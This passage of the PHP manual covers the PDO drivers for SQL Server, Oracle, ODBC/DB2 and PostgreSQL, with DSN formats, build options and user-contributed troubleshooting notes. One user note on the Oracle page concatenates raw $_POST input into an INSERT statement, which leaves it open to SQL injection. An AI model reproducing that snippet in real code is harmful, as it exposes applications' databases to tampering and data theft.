A non-negative integer representing the timeout period, in seconds. Zero (0) is the default and means no timeout. This constant can be passed to PDOStatement::setAttribute, PDO::setAttribute, and PDO::prepare.
PDO::SQLSRV_ATTR_DIRECT_QUERY (int)
Indicates that a query should be executed directly, without being prepared. This constant can be passed to PDO::setAttribute, and PDO::prepare. For more information, see » Direct and Prepared Statement Execution.

Table of Contents

  • PDO_SQLSRV DSN — Connecting to MS SQL Server and SQL Azure databases

User Contributed Notes

fleduc dot perso at gmail dot com 18-Sep-2017 01:35
Watch out!

If you use PDO SQLSRV on windows 7, using 32 bit php on XAMMP, you might encounter driver problems : "This extension requires the Microsoft ODBC Driver 11 for SQL Server to communicate with SQL Server"

The reason, Microsoft 32-bit ODBC driver doesn't install properly on 64-bit Windows 7.

Check the solution to PDO SQLSRV driver problem here in StackOverflow

https://stackoverflow.com/a/46245990/1330248
ian at helastel dot com 31-Oct-2016 04:52
An updated driver compatible with both PHP 7.0 and Linux is available on the PHP-7.0-Linux branch of https://github.com/Microsoft/msphpsql/

This is more up to date and supports some additional features over the ODBC / DBLIB drivers.

It is currently considered an 'Early Technical Preview' and hence has some limitations, but in my experience it has been stable.
Peter 17-Apr-2015 06:04
SQLSRV 3.2 is now available from Microsoft that supports PHP 5.6

http://www.microsoft.com/en-us/download/details.aspx?id=20098
John P 16-Dec-2014 05:29
As of 12/12/2014, Microsoft has officially released Version 3.1.

Support for 5.5 has 4 drivers
php_pdo_sqlsrv_55_nts.dll
php_pdo_sqlsrv_55_ts.dll
php_sqlsrv_55_nts.dll
php_sqlsrv_55_ts.dll

Note: Version 3.1 now supports PHP 5.5 and requires Microsoft ODBC Driver 11 (or higher)

You can downlod the new driver from
http://www.microsoft.com/en-us/download/details.aspx?id=20098


Connecting to MS SQL Server and SQL Azure databases

  • ? MS SQL Server (PDO)
  • Oracle (PDO) ?
  • PHP Manual
  • MS SQL Server (PDO)
  • Connecting to MS SQL Server and SQL Azure databases

PDO_SQLSRV DSN

(PECL pdo_sqlsrv >= 2.0.1)

PDO_SQLSRV DSN — Connecting to MS SQL Server and SQL Azure databases

说明

The PDO_SQLSRV Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is sqlsrv:.

APP

The application name used in tracing.

ConnectionPooling

Specifies whether the connection is assigned from a connection pool (1 or true) or not (0 or false).

Database

The name of the database.

Encrypt

Specifies whether the communication with SQL Server is encrypted (1 or true) or unencrypted (0 or false).

Failover_Partner

Specifies the server and instance of the database's mirror (if enabled and configured) to use when the primary server is unavailable.

LoginTimeout

Specifies the number of seconds to wait before failing the connection attempt.

MultipleActiveResultSets

Disables or explicitly enables support for multiple active Result sets (MARS).

QuotedId

Specifies whether to use SQL-92 rules for quoted identifiers (1 or true) or to use legacy Transact-SQL rules (0 or false).

Server

The name of the database server.

TraceFile

Specifies the path for the file used for trace data.

TraceOn

Specifies whether ODBC tracing is enabled (1 or true) or disabled (0 or false) for the connection being established.

TransactionIsolation

Specifies the transaction isolation level. The accepted values for this
option are PDO::SQLSRV_TXN_READ_UNCOMMITTED, PDO::SQLSRV_TXN_READ_COMMITTED,
PDO::SQLSRV_TXN_REPEATABLE_READ, PDO::SQLSRV_TXN_SNAPSHOT, and
PDO::SQLSRV_TXN_SERIALIZABLE.

TrustServerCertificate

Specifies whether the client should trust (1 or true) or reject (0 or false) a self-signed server certificate.

WSID

Specifies the name of the computer for tracing.

示例

Example #1 PDO_SQLSRV DSN examples

The following example shows how to connecto to a specified MS SQL Server database:

$c = new PDO("sqlsrv:Server=localhost;Database=testdb", "UserName", "Password");

The following example shows how to connect to a MS SQL Server database on a specified port:

$c = new PDO("sqlsrv:Server=localhost,1521;Database=testdb", "UserName", "Password");

The following example shows how to connecto to a SQL Azure database with server ID 12345abcde. Note that when you connect to SQL Azure with PDO, your username will be UserName@12345abcde (UserName@ServerId).

$c = new PDO("sqlsrv:Server=12345abcde.database.windows.net;Database=testdb", "UserName@12345abcde", "Password");

User Contributed Notes

There are no user contributed notes for this page.


Oracle Functions (PDO_OCI)

安装

If the Oracle Database is on the same machine as PHP, the database software already contains the necessary libraries. When PHP is on a different machine, use the free » Oracle Instant Client libraries. For details refer to the OCI8 Requirements section.

Use --with-pdo-oci[=DIR] to install the PDO Oracle OCI extension, where the optional [=DIR] is the Oracle Home directory. [=DIR] defaults to the $ORACLE_HOME environment variable.

Use --with-pdo-oci=instantclient,prefix,version for an Oracle Instant Client SDK, where prefix and version are configured.

// Using $ORACLE_HOME
$ ./configure --with-pdo-oci

// Using OIC for Linux with 10.2.0.3 RPMs with a /usr prefix
$ ./configure --with-pdo-oci=instantclient,/usr,10.2.0.3

预定义常量

下列常量由此驱动定义，且仅在扩展编译入 PHP 或在运行时动态载入时可用。另外，使用此驱动时，仅会使用这些驱动特定的常量。使用其他驱动的驱动特定的常量可能会导致不可预见的情况。如果代码可运行于多个驱动，PDO::getAttribute() 可被用于获取 PDO_ATTR_DRIVER_NAME 属性以检查驱动。

PDO::OCI_ATTR_ACTION (int)

Provides a way to specify the action on the database session.

自以下版本起 PHP 7.2.16 and 7.3.3

PDO::OCI_ATTR_CLIENT_INFO (int)

Provides a way to specify the client info on the database session.

自以下版本起 PHP 7.2.16 and 7.3.3

PDO::OCI_ATTR_CLIENT_IDENTIFIER (int)

Provides a way to specify the client identifier on the database session.

自以下版本起 PHP 7.2.16 and 7.3.3

PDO::OCI_ATTR_MODULE (int)

Provides a way to specify the module on the database session.

自以下版本起 PHP 7.2.16 and 7.3.3

Table of Contents

  • PDO_OCI DSN — Connecting to Oracle databases

User Contributed Notes

Wolfgang Riedmann 15-May-2023 05:03
An important hint: if you are using prebuilt PHP packages where PDO_OCI is not compiled in, you should download the original PHP sources for the PHP version your server is using.
These sources contain the PDO_OCI source in the ext/pdo_oci directory.
Change to that directory, build the module using
phpize
./configure
make
and then install the newly build module to your PHP extension directory and add it to your configuration.
For me this has worked on a Debian server with the sury.org modules (PHP 8.2).
wagner dot lague at gmail dot com 18-Jul-2016 06:29
Whe I try connect the server returns the error: "SQLSTATE[HY000]: pdo_oci_handle_factory: ORA-12560: TNS:erro de adaptador de protocolo (ext\pdo_oci\oci_driver.c:579)"

Too fix it, I used that:

 $conn = new PDO("oci:dbname=DBNAME;host=NN.NN.NN.NNN",'USER','PASSWORD');

eg:

 $conn = new PDO("oci:dbname=DB_FOO;host=10.10.48.245",'FOO','Foo%&5b');
sebastian dot la dot spina at gmail dot com 09-Jan-2014 09:03
For Red hat 6, 64bits, client 11.2,
After touch config.m4 and tune up libs symlinks..
I get a compilation error "pdo_oci.c:34: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'pdo_oci_functions'"
To solve it just change function_entry to zend_function_entry @pdo_oci.c file.

:)
paul dot pratt at atmel dot com 10-Jun-2013 10:45
Is PHP-to-Oracle much slower  than Php-to-MySql ?  I have battled my way through a conversion of Php4/MySql to Php5/Oracle (stumbling over Clobs and php5-variable-initialization).   Everything works, but...
  Querys that took 8 seconds in MySql, now take 3 mintues with Oracle.  Yes, I have indexes on the Oracle tables.  Are Oracle connections that much more expensive than MySql? I did use oci_pconnect.
php at ideacode dot com 13-Oct-2011 07:28
If you're getting the "I'm too dumb to find oci.h" error, try creating a variety of paths.  One variety uses just the major and minor of your OIC version (eg, 11.2 for 11.2.0.2) and another variety uses client64 as well as client.

Something like this (for 11.2.0.2):
ln -s /usr/include/oracle/11.2.0.2/ /usr/include/oracle/11.2
ln -s /usr/include/oracle/11.2/client /usr/include/oracle/11.2/client64
ln -s /usr/lib/oracle/11.2.0.2/ /usr/lib/oracle/11.2
ln -s /usr/lib/oracle/11.2/client /usr/lib/oracle/11.2/client64

This should cover your bases for 64-bit systems, as well as PHP patched to use the major.minor version number only.  See also PHP bug #44989.
redlorry919 at gmail dot com 10-Jun-2011 03:15
Take note of the note at the top, this really is an experimental extension. I had a problem trying to read data from Oracle which resulted in some strange behaviour in PHP. i.e. foreach loops not ending, with no error messages. I also managed to get the data from Oracle into an array in PHP, but then couldn't return the array from a function.

After pulling my hair out for a day, it turned out to be a CLOB column in Oracle that caused the strange behaviour in PHP. I assume this extension doesn't fully support them.

Instead I've typecast it within the SQL to a VARCHAR2 which seems to resolve it:

SELECT CAST(columnx AS VARCHAR2(4000)) AS columnx ...

It might help someone else having similar issues.
geompse at gmail dot com 27-Jun-2010 09:49
Notice the red block at the beginning of this page... pdo_oci is HIGHLY experimental.

Even though it is under dev from 2004, it lakes today support for things that _do_ matters :
 - bind a varchar2 of 3500 chars
 - get selected metas
 - left join with blobs/clobs
 - etc.

For the story, since we use pdo_pgsql in our software, I thought it would be viable to use pdo_oci for running under Oracle. After a long battle, I finally won :

1) If requested driver has a non-experimental pdo version available, use it.
2) else (well, for pdo_oci at least), use an abstraction layer of your own.
3) you're done.

What I did in more details...

2 "main" classes for being compliant with "$obj instanceof PDO" or such :
 - class PhpDb extends PDO
 - class PhpDbStatement extends PDOStatement
2 "abstract" classes that defines what PDO actually does :
 - abstract class PhpDbAbstract
 - abstract class PhpDbAbstractStatement
And at last for each driver, 2 classes doing the abstraction :
 - class PhpDbDriverOracle extends PhpDbAbstract
 - class PhpDbDriverOracleStatement extends PhpDbAbstractStatement

"main" classes are accessed from your script, simply replace "new PDO" with "new PhpDb".
"abstract" classes are mainly there for the documentation :p
"driver" classes do the job in background, they are instances by the main classes.

My PhpDb will be in an open source project sooner or later, search google or mail me !
av01 at bugfix dot cc 03-Apr-2010 08:57
In order to get this compiled on my CentOS 5.4 x86_64 box, I had to do some extra settings that might be useful for others:

Install oracle-instantclient11.2-basic and oracle-instantclient11.2-devel RPMs from Oracle

Create some symbolic links because configure contains some outdated assumptions about path names and doesn't care about 64-bit systems:
ln -s /usr/lib/oracle/11.2/client64 /usr/lib/oracle/11.2/client
ln -s /usr/include/oracle/11.2/client64  /usr/lib/oracle/11.2/client/include

Add the following to your configure command:
--with-pdo-oci=shared,instantclient,/usr,11.2
sixd at php dot net 26-Jun-2009 11:53
From the PHP 5.3 UPGRADING file:

- The PDO_OCI php_pdo_oci8.dll library (for use with Oracle version 8 client
  libraries) is no longer being built [with PHP 5.3]. Instead, use php_pdo_oci.dll (note no
  '8') with Oracle 10 or 11 client libraries. Connection to other database
  versions is still supported.
fernando dot wendt at gmail dot com 20-Jan-2009 05:18
To enable PDO support on PHP for Oracle Instant Client 11.1.x, you should follow the syntax above in the compile command, just as pointed by Andrew http://bugs.php.net/bug.php?id=39312, taking by default you have installed the OIC at /usr/lib/oracle (instant client and sdk at subfolder):

./configure --with-oci8=shared,instantclient,/usr/lib/oracle
--with-pdo-oci=instantclient,/usr/lib/oracle,11.1

Just saying your release version from the Oracle OIC.

It compiles fine then.

Best regards.
ken at xpressconnex dot com 05-Feb-2008 08:17
Wow, cursade.  That's a lot of typing to use the lite client.

Try this:

$db = '//hostname/servicename'; //e.g. '//192.168.1.1/orcl'
$user = 'username';
$pass = 'password';

$conn = new PDO($db,$user,$pass);
moc.aciremi@yvelj 01-Jun-2006 12:25
A Statement of Warning:

PDO::oci does not support REF CURSORS.

This is mentioned nowhere (until now!) on this page.

And now you know!

If you want ref cursors avoid PDO for now.

My Reference for this claim:
http://www.oracle.com/technology/pub/articles/
php_experts/otn_pdo_oracle5.html

GREAT article, excellent piece, really. It's not clear to me
how old this document is, but it must have some dust on it,
given it's references to "PHP5.1 ...' which is a little way off yet' "
... as of 2006-06-01, PHP5.1 has been with us for quite some time.
cursade at hotmail dot com 20-Apr-2006 11:29
if oracle and oracle instant client has been installed,
without db in the same host

For UNIX/LINUX，set $LD_LIBRARY_PATH
appent your instant client path  and  client/lib path to it,

For windows set PATH like this

After set the path ,set TNS_ADMIN everioment ,point to
where  tnsnames.ora located.

Then,you can use service name to connect to your Database

Test coding

<?php
$param = $_POST;
$db_username = "youusername";
$db_password = "yourpassword";
$db = "oci:dbname=yoursid";
$conn = new PDO($db,$db_username,$db_password);
$name = $param['module'];
$file = $param['file'];
$stmt = $conn->exec("INSERT INTO AL_MODULE (AL_MODULENAME, AL_MODULEFILE) VALUES ('$name', '$file')");

?>
cursade at hotmail dot com 20-Apr-2006 02:43
If instant client has been installed but the full oracle client
not yet ,you can use pdo to connect to oracle database
like following coding:

<?php
$tns = "
(DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = yourip)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = orcl)
    )
  )
       ";
$db_username = "youname";
$db_password = "yourpassword";
try{
    $conn = new PDO("oci:dbname=".$tns,$db_username,$db_password);
}catch(PDOException $e){
    echo ($e->getMessage());
}
?>


Connecting to Oracle databases

  • ? Oracle (PDO)
  • ODBC and DB2 (PDO) ?
  • PHP Manual
  • Oracle (PDO)
  • Connecting to Oracle databases

PDO_OCI DSN

(PECL PDO_OCI >= 0.1.0)

PDO_OCI DSN — Connecting to Oracle databases

说明

The PDO_OCI Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is oci:.

dbname (Oracle Instant Client)

The URI for the Oracle Instant Client connection takes the form of dbname=//hostname:port-number/database. If you are connecting to a database defined in tnsnames.ora, use only the name of the database: dbname=database.

charset

The client-side character set for the current environment handle.

示例

Example #1 PDO_OCI DSN examples

The following examples show a PDO_OCI DSN for connecting to Oracle databases:

// Connect to a database defined in tnsnames.ora
oci:dbname=mydb

// Connect using the Oracle Instant Client
oci:dbname=//localhost:1521/mydb

User Contributed Notes

Alexander Ashurkoff 26-Feb-2007 02:20
If you want to use PDO_OCI and get proper russian windows-1251 codepage, just add charset=CL8MSWIN1251 to your DSN.

example:
<?php
$dbc = new PDO('oci:dbname=192.168.10.145/orcl;charset=CL8MSWIN1251', 'username', 'password');
?>

Аlso setting apache/registry/system environment variable NLS_LANG to RUSSIAN_CIS.CL8MSWIN1251 may helps you.
Helpful User 11-Oct-2006 05:59
If you get the error: TNS: could not resolve service name

Remember that the PDO wants to use the default client, which will only use the tnsnames.ora in %ORACLE_HOME%\network\admin. Check that file and make sure your service is defined in there.

BTW, there is a bug with pdo_oci8 with 9i - don't use it. Make sure you just use pdo_oci.dll.


ODBC and DB2 Functions (PDO_ODBC)

简介

PDO_ODBC is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to databases through ODBC drivers or through the IBM DB2 Call Level Interface (DB2 CLI) library. PDO_ODBC currently supports three different "flavours" of database drivers:

ibm-db2

Supports access to IBM DB2 Universal Database, Cloudscape, and Apache Derby servers through the free DB2 express-C client.

unixODBC

Supports access to database servers through the unixODBC driver manager and the database's own ODBC drivers.

generic

Offers a compile option for ODBC driver managers that are not explicitly supported by PDO_ODBC.

On Windows, php_pdo_odbc.dll has to be enabled as extension in php.ini. It is linked against the Windows ODBC Driver Manager so that PHP can connect to any database cataloged as a System DSN.

安装

PDO_ODBC on UNIX systems

  1. PDO_ODBC is included in the PHP source. You can compile the PDO_ODBC extension as either a static or shared module using the following configure commands.

    ibm_db2

    ./configure --with-pdo-odbc=ibm-db2,/opt/IBM/db2/V8.1/
    To build PDO_ODBC with the ibm-db2 flavour, you have to have previously installed the DB2 application development headers on the same machine on which you are compiling PDO_ODBC. The DB2 application development headers are an installable option in the DB2 servers, and are also available as part of the DB2 Application Development Client freely available for download from the IBM developerWorks » website.

    If you do not supply a location for the DB2 libraries and headers to the configure command, PDO_ODBC defaults to /home/db2inst1/sqllib.

    unixODBC

    ./configure --with-pdo-odbc=unixODBC,/usr/local
    If you do not supply a location for the unixODBC libraries and headers to the configure command, PDO_ODBC defaults to /usr/local.

    generic
    ./configure --with-pdo-odbc=generic,/usr/local,libname,ldflags,cflags

预定义常量

下列常量由此驱动定义，且仅在扩展编译入 PHP 或在运行时动态载入时可用。另外，使用此驱动时，仅会使用这些驱动特定的常量。使用其他驱动的驱动特定的常量可能会导致不可预见的情况。如果代码可运行于多个驱动，PDO::getAttribute() 可被用于获取 PDO_ATTR_DRIVER_NAME 属性以检查驱动。

PDO::ODBC_ATTR_USE_CURSOR_LIBRARY (int)

This option controls whether the ODBC cursor library is used. The ODBC cursor library supports some advanced ODBC features (e.g. block scrollable cursors), which may not be implemented by the driver. The following values are supported:

  • PDO::ODBC_SQL_USE_IF_NEEDED (the default): use the ODBC cursor library when needed.

  • PDO::ODBC_SQL_USE_DRIVER: never use the ODBC cursor library.

  • PDO::ODBC_SQL_USE_ODBC: always use the ODBC cursor library.

PDO::ODBC_ATTR_ASSUME_UTF8 (bool)

Windows only. If true, UTF-16 encoded character data (CHAR, VARCHAR and LONGVARCHAR) is converted to UTF-8 when reading from or writing data to the database. If false (the default), character encoding conversion may be done by the driver.

运行时配置

这些函数的行为受 php.ini 中的设置影响。

PDO_ODBC Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
pdo_odbc.connection_pooling | "strict" | PHP_INI_ALL |
pdo_odbc.db2_instance_name | NULL | PHP_INI_SYSTEM | 本过时特性将肯定会在未来被移除。
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

pdo_odbc.connection_pooling string

Whether to pool ODBC connections. Can be one of "strict", "relaxed" or "off" (equals to ""). The parameter describes how strict the connection manager should be when matching connection parameters to existing pooled connections. strict is the recommend default, and will result in the use of cached connections only when all the connection parameters match exactly. relaxed will result in the use of cached connections when similar connection parameters are used. This can result in increased use of the cache, at the risk of bleeding connection information between (for example) virtual hosts.

This setting can only be changed from the php.ini file, and affects the entire process; any other modules loaded into the process that use the same ODBC libraries will be affected too, including the Unified ODBC extension.

Warning

relaxed matching should not be used on a shared server, for security reasons.

Tip

Leave this setting at the default strict setting unless you have good reason to change it.

pdo_odbc.db2_instance_name string

If you compile PDO_ODBC using the db2 flavour, this setting sets the value of the DB2INSTANCE environment variable on Linux and UNIX operating systems to the specified name of the DB2 instance. This enables PDO_ODBC to resolve the location of the DB2 libraries and make cataloged connections to DB2 databases.

This setting can only be changed from the php.ini file, and affects the entire process; any other modules loaded into the process that use the same ODBC libraries will be affected too, including the Unified ODBC extension.

This setting has no effect on Windows.

Table of Contents

  • PDO_ODBC DSN — Connecting to ODBC or DB2 databases

User Contributed Notes

ChristianF 26-Jan-2016 11:03
I just spent a couple of hours trying to track down the Exception "Could not find driver". This was despite having ODBC and PDO_ODBC installed, and all of the configuration seemed to be correct.

Turned out the problem was that I used ODBC in upper-case in the dsn. As soon as I changed the dns to "odbc:database" it worked.

As this code used to work a few months ago, this sudden case-sensitivity threw me for a loop. So in case you get this error, check the casing first.
Ariz Jacinto 09-Jan-2012 01:50
Using SQL Server Native Client 11.0 on Linux as a PDO_ODBC driver:

Download the SQL Server Native Client 11.0 on Linux ODBC Driver:
http://www.microsoft.com/download/en/details.aspx?id=28160

Configuration ODBC:

/usr/local/etc/odbcsys.ini
--
[SQL Server Native Client 11.0]
Description = Microsoft SQL Server ODBC Driver V1.0 for Linux
Driver = /opt/microsoft/sqlncli/lib64/libsqlncli-11.0.so.1720.0
UsageCount = 1

/usr/local/etc/odbc.ini
--
[MSSQLServer]
Driver = SQL Server Native Client 11.0
Description = Sample Database
Trace = Yes
Server =
Port = 1433
Database =

Test the connection:
mssqltest.php
--
<?php
    putenv('ODBCSYSINI=/usr/local/etc');
    putenv('ODBCINI=/usr/local/etc/odbc.ini');
    $username = "";
    $password = "";
    try {
      $dbh = new PDO("odbc:MSSQLServer",
                    "$username",
                    "$password"
                   );
    } catch (PDOException $exception) {
      echo $exception->getMessage();
      exit;
    }
    echo var_dump($dbh);
    unset($dbh);
?>
harry dot forum at p-boss dot com 02-Jul-2010 04:03
MSSQL - PHP on Apache - Linux Redhat

When using php 5.2.10 please beaware of this error:

http://bugs.php.net/bug.php?id=42068

Standard odbc_connect will not work, you must use pdo_odbc

Connecting to MSSQL using pdo odbc - walkthrough..

1. Download and configure FreeTDS with-unixodbc

./configure --prefix=/opt/SYSfreetds --with-unixodbc

make;make test; make install

2. install php-odbc and unixODBC

         php-odbc-5.2.10-1.x86_64.rpm
         unixODBC.x86_64.x86x64

3. Setup ODBC links

a)
Create a tds.driver file with the following contents

  [FreeTDS]
  Description     = v0.63 with protocol v8.0
  Driver          = /opt/SYSfreetds/lib/libtdsodbc.so

Register the ODBC driver - the tds.driver file

  odbcinst -i -d -f tds.driver

b)
Creating a tds.datasource file - ODBC Data Source with contents:

  [SOURCENAME]
  Driver=FreeTDS
  Description=Test MS SQL Database with FreeTDS
  Trace=No
  Server=BobTheServer
  Port=1433
  TDS Version=8.0
  Database=youDBname

Register the ODBC data source

  odbcinst -i -s -f tds.datasource

Beware that the odbc.ini file will be installed in the current users home directory. This may need to be used if you are using a webserver as the apache home directory could be different.

Ensure .odbc.ini is in apaches home directory, possibly "/var/www"

4. Test the ODBC link on the command line

  isql -v SOURCENAME 'username' 'password'

  +---------------------------------------+
  | Connected!                            |
  |                                       |
  | sql-statement                         |
  | help [tablename]                      |
  | quit                                  |
  |                                       |
  +---------------------------------------+
 SQL>

5. Edit /etc/php.ini

  Make sure the following is set:
     mssql.secure_connection = On

6. Restart apache gracefully

7. PHP to run:

  <?
  $dbh= new PDO('odbc:SOURCENAME', 'username', 'password');
  $stmt = $dbh->prepare("$query");
  $stmt->execute();
  while ($row = $stmt->fetch()) {
      print_r($row);
  }
  unset($dbh); unset($stmt);
  ?>

Trouble-shooting:

Please try strace/ truss if you encounter issues. It could be you are referencing wrong libraries somewhere.

Ensure you have restarted apache once the odbc files are in place
tuomas 21-Sep-2009 12:11
If you want to avoid installing DB2 Connect and/or PECL modules ibm_db2 and PDO_IBM, you can also use IBM DB2 databases trough unixODBC.

If you have DB2 database on a i server you need to install IBM iAccess (http://www.ibm.com/systems/i/software/access/linux/index.html) and unixODBC. Just install the libraries (rpm) and modify configurations in /etc/odbcinst.ini (sample configuration in /opt/ibm/iSeriesAccess/unixodbcregistration) and /etc/odbc.ini.

To my experience this is much easier way than installing DB2 Connect.
ethan dot nelson at ltd dot org 29-Feb-2008 02:15
Using SQL 2005, PDO_ODBC and datetime fields is a royal pain.  MSDN documentation on CAST CONVERT shows that there is supposed to be an implicit convert between character types and datetime types.  That's true... until you put it in a stored procedure and use variable declarations.

For instance this fails:

declare @date varchar;
SET @date = '20080101';
SELECT cast(@date AS datetime) AS poo

While this succeeds:
declare @date varchar(19);
SET @date = '20080101';
SELECT cast(@date AS datetime) AS poo

The PDO Driver appears to attempt an implicit conversion and so it fails whenever you try to insert data into datetime column types.

So to workaround this nuance in SQL, declare a character column type with explicit width.  Then your implicit type conversion will work.


Connecting to ODBC or DB2 databases

  • ? ODBC and DB2 (PDO)
  • PostgreSQL (PDO) ?
  • PHP Manual
  • ODBC and DB2 (PDO)
  • Connecting to ODBC or DB2 databases

PDO_ODBC DSN

(PECL PDO_ODBC >= 0.1.0)

PDO_ODBC DSN — Connecting to ODBC or DB2 databases

说明

The PDO_ODBC Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is odbc:. If you are connecting to a database cataloged in the ODBC driver manager or the DB2 catalog, you can append the cataloged name of the database to the DSN.

DSN

The name of the database as cataloged in the ODBC driver manager or the DB2 catalog. Alternately, you can provide a complete ODBC connection string to connect to a database as described at » http://www.connectionstrings.com/.

UID

The name of the user for the connection. If you specify the user name in the DSN, PDO ignores the value of the user name argument in the PDO constructor.

PWD

The password of the user for the connection. If you specify the password in the DSN, PDO ignores the value of the password argument in the PDO constructor.

示例

Example #1 PDO_ODBC DSN example (ODBC driver manager)

The following example shows a PDO_ODBC DSN for connecting to an ODBC database cataloged as testdb in the ODBC driver manager:

odbc:testdb

Example #2 PDO_ODBC DSN example (IBM DB2 uncataloged connection)

The following example shows a PDO_ODBC DSN for connecting to an IBM DB2 database named SAMPLE using the full ODBC DSN syntax:

odbc:DRIVER={IBM DB2 ODBC DRIVER};HOSTNAME=localhost;PORT=50000;DATABASE=SAMPLE;PROTOCOL=TCPIP;UID=db2inst1;PWD=ibmdb2;

Example #3 PDO_ODBC DSN example (Microsoft Access uncataloged connection)

The following example shows a PDO_ODBC DSN for connecting to a Microsoft Access database stored at C:\db.mdb using the full ODBC DSN syntax:

odbc:Driver={Microsoft Access Driver (*.mdb)};Dbq=C:\\db.mdb;Uid=Admin

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL Functions (PDO_PGSQL)

简介

PDO_PGSQL is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to PostgreSQL databases.

资源类型

This extension defines a stream resource returned by PDO::pgsqlLOBOpen().

安装

Use --with-pdo-pgsql[=DIR] to install the PDO PostgreSQL extension, where the optional [=DIR] is the PostgreSQL base install directory, or the path to pg_config.

$ ./configure --with-pdo-pgsql

预定义常量

下列常量由此驱动定义，且仅在扩展编译入 PHP 或在运行时动态载入时可用。另外，使用此驱动时，仅会使用这些驱动特定的常量。使用其他驱动的驱动特定的常量可能会导致不可预见的情况。如果代码可运行于多个驱动，PDO::getAttribute() 可被用于获取 PDO_ATTR_DRIVER_NAME 属性以检查驱动。

PDO::PGSQL_ATTR_DISABLE_PREPARES (int)

Send the query and the parameters to the server together in a single call, avoiding the need to create a named prepared statement separately. If the query is only going to be executed once this can reduce latency by avoiding an unnecessary server round-trip.

General notes

Note:

bytea fields are returned as streams.

Table of Contents

  • PDO_PGSQL DSN — Connecting to PostgreSQL databases
  • PDO::pgsqlCopyFromArray — Copy data from PHP array into table
  • PDO::pgsqlCopyFromFile — Copy data from file into table
  • PDO::pgsqlCopyToArray — Copy data from database table into PHP array
  • PDO::pgsqlCopyToFile — Copy data from table into file
  • PDO::pgsqlGetNotify — Get asynchronous notification
  • PDO::pgsqlGetPid — Get the server PID
  • PDO::pgsqlLOBCreate — Creates a new large object
  • PDO::pgsqlLOBOpen — Opens an existing large object stream
  • PDO::pgsqlLOBUnlink — Deletes the large object

User Contributed Notes

rtroy at sciencetools dot com 14-Nov-2021 10:20
On Fedora, install the PostgreSql PDO with yum or dnf:

   $ dnf install php-pgsql php-pdo_pgsql


Connecting to PostgreSQL databases

  • ? PostgreSQL (PDO)
  • PDO::pgsqlCopyFromArray ?
  • PHP Manual
  • PostgreSQL (PDO)
  • Connecting to PostgreSQL databases

PDO_PGSQL DSN

(PHP 5 >= 5.1.0, PHP 7, PECL PDO_PGSQL >= 0.1.0)

PDO_PGSQL DSN — Connecting to PostgreSQL databases

说明

The PDO_PGSQL Data Source Name (DSN) is composed of the following elements, delimited by spaces or semicolons:

DSN prefix

The DSN prefix is pgsql:.

host

The hostname on which the database server resides.

port

The port on which the database server is running.

dbname

The name of the database.

user

The name of the user for the connection. If you specify the user name in the DSN, PDO ignores the value of the user name argument in the PDO constructor.

password

The password of the user for the connection. If you specify the password in the DSN, PDO ignores the value of the password argument in the PDO constructor.

sslmode

The SSL mode. Supported values and their meaning are listed in the » PostgreSQL Documentation.

Note: All semicolons in the DSN string are replaced by spaces, because PostgreSQL expects this format. This implies that semicolons in any of the components (e.g. password or dbname) are not supported.

示例

Example #1 PDO_PGSQL DSN examples

The following example shows a PDO_PGSQL DSN for connecting to a PostgreSQL database:

pgsql:host=localhost;port=5432;dbname=testdb;user=bruce;password=mypass

The following example shows a PDO_PGSQL DSN for connecting to a PostgreSQL database via unix socket /tmp/.s.PGSQL.5432:

pgsql:host=/tmp;port=5432;dbname=testdb;user=bruce;password=mypass

User Contributed Notes

There are no user contributed notes for this page.


Copy data from PHP array into table

  • ? PDO_PGSQL DSN
  • PDO::pgsqlCopyFromFile ?
  • PHP Manual
  • PostgreSQL (PDO)
  • Copy data from PHP array into table

PDO::pgsqlCopyFromArray

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

PDO::pgsqlCopyFromArray — Copy data from PHP array into table

说明

public PDO::pgsqlCopyFromArray(
string $table_name,
array $rows,
string $delimiter = "\t",
string $null_as = "\\\\N",
string $fields = ?
): bool

Copies data from rows array to table table_name using delimiter as fields delimiter and fields list

参数

table_name

String containing table name

rows

Array of strings with fields separated by delimiter

delimiter

Delimiter used in rows array

null_as

How to interpret null values

fields

List of fields to insert

返回值

Returns true on success, 或者在失败时返回 false.

User Contributed Notes

Anonymous 09-Sep-2015 04:05
If your $nullAs is '\\N', then you should use $nullAs as is in concatenation of cells of $rows, but send to pgsqlCopyFromArray() escaped version. Also fifth arg $fields should be a SQL-valid string for the column_names placeholder in COPY statement of PostgreSQL.

I provide my smart wrapper for pgsqlCopyFromArray() which do this automatically.

<?php
/**
 *
 * @param PDO $db
 * @param string $tableName
 * @param string[] $fields List of fields names.
 * @param array[] $records Two-demension array of cells (array of rows).
 * @return boolean
 */
function pgInsertByCopy (PDO $db, $tableName, array $fields, array $records) {
    static $delimiter = "\t", $nullAs = '\\N';

    $rows = [];

    foreach ($records as $record) {
        $record = array_map(
                function  ($field) use( $record, $delimiter, $nullAs) {
                    $value = array_key_exists($field, $record) ? $record[$field] : null;

                    if (is_null($value)) {
                        $value = $nullAs;
                    } elseif (is_bool($value)) {
                        $value = $value ? 't' : 'f';
                    }

                    $value = str_replace($delimiter, ' ', $value);
                    // Convert multiline text to one line.
                    $value = addcslashes($value, "\0..\37");

                    return $value;
                }, $fields);
        $rows[] = implode($delimiter, $record) . "\n";
    }

    return $db->pgsqlCopyFromArray($tableName, $rows, $delimiter, addslashes($nullAs), implode(',', $fields));
}
?>


Copy data from file into table

  • ? PDO::pgsqlCopyFromArray
  • PDO::pgsqlCopyToArray ?
  • PHP Manual
  • PostgreSQL (PDO)
  • Copy data from file into table

PDO::pgsqlCopyFromFile

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

PDO::pgsqlCopyFromFile — Copy data from file into table

说明

public PDO::pgsqlCopyFromFile(
string $table_name,
string $filename,
string $delimiter = "\t",
string $null_as = "\\\\N",
string $fields = ?
): bool

Copies data from file specified by filename into table table_name using delimiter as fields delimiter and fields list

参数

